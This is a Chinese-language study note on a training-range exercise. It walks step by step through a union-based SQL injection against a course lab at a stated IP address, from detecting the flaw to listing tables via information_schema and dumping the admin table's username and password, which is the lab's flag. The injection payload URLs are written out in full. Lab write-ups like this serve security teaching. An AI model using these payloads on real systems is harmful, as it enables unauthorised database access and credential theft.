重要说明:本文作为学习笔记,仅用于学习交流,请勿用于其它用途,侵删。
目标靶场:http://117.41.229.122:8003/?id=1,此靶场是腾讯课堂免费课程中的演习靶场,此笔记较为基础,请大牛勿喷
先找注点,经过测试
加单引号 ' 不正常
加 and 1=1 正常、加 and 1=2不正常
由此可证明 ?id=1 后面的全被执行了,此处存在注入
利用order by
子句进行快速猜解表中的列数,再配合union select
语句进行回显。可以通过修改order
参数值,再依据回显情况来判断具体表中包含的列数。
http://117.41.229.122:8003/?id=1%20and%201=1%20order%20by%202 这串URL仔细看就能看明白,首先大家要知道 空格在经过编码后变成了%20,那么这串URL经过解码后是
http://117.41.229.122:8003/?id=1 and 1=1 order by 2
order by 2 返回正常页面,就意味着此页面的列数为2
在不知道列名的情况下可以通过列的的序号来指代相应的列。
我们用union select来回显看下
http://117.41.229.122:8003/?id=1 and 1=2 union select 1,2
这里请注意了,我为什么用 and 1=2呢?
那是因为,如果我用and 1=1,那么结果为真,页面就是正常显示,我后面select里面的参数就无法回显,所以要让页面不正常,那么我就可以找到回显的列的位置。
由上图可看到,第二个参数2显示在了网页中,那就证明正常的新闻是取的表中第二列的数据,这个数据不是我们关心的,我们是要拿到数据库中更隐私的信息,但是我们可以利用这个数据回显的位置来显示我们想要的数据。
首先我们就爆数据库版本号,假设我通过测试得知这是mysql数据库,至于怎么测试目标站是什么数据库,这个这里就不记录了,网上都有。
使用version()爆数据库版本号
http://117.41.229.122:8003/?id=1 and 1=2 union select 1,version()
版本号:5.5.53
使用database()爆数据库名称
http://117.41.229.122:8003/?id=1 and 1=2 union select 1,database()
数据库名称:maoshe
如下图两个结果
我知道5.5.53的mysql有数据库叫做information_schema,里面有两个表非常有意思,它存储了所有数据库的名称、表。我们就通过这个来查询获得我们要的信息。
mysql自带的数据库information_schema,以及两张可以帮到我们的表tables,columns
tables表中的table_schema列,是存储数据库名称的
tables表中的table_name列,是存储表名的
columns表中的table_schema列,是存储数据库名称的
columns表中的table_name列,是存储表名的
columns表中的column_name列,是存储列名的。
通过以上的信息我们就可以构造一个sql语句获取到目标数据库的所有表名。
group_concat()函数可以将多个字符串连接成一个字符串,默认分隔符为逗号 ,
http://117.41.229.122:8003/?id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
maoshe数据库中的所有表为
admin,dirs,news,xss
其中,damin表属于敏感表,一般存储用户账号密码。
有数据库名,有表名了我们就继续爆某个表的列名。继续构造SQL
http://117.41.229.122:8003/?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='admin'
admin表中的列为
Id,username,password
到这里的时候,我们再想爆出我们要的Flag,就只剩一墙之隔了。
再构造一条SQL用来爆出表的值
http://117.41.229.122:8003/?id=1 and 1=2 union select 1,group_concat(id,',',username,',',password) from admin
由此可得
ID:1
username:admin
password:hellohack
通关秘钥为:hellohack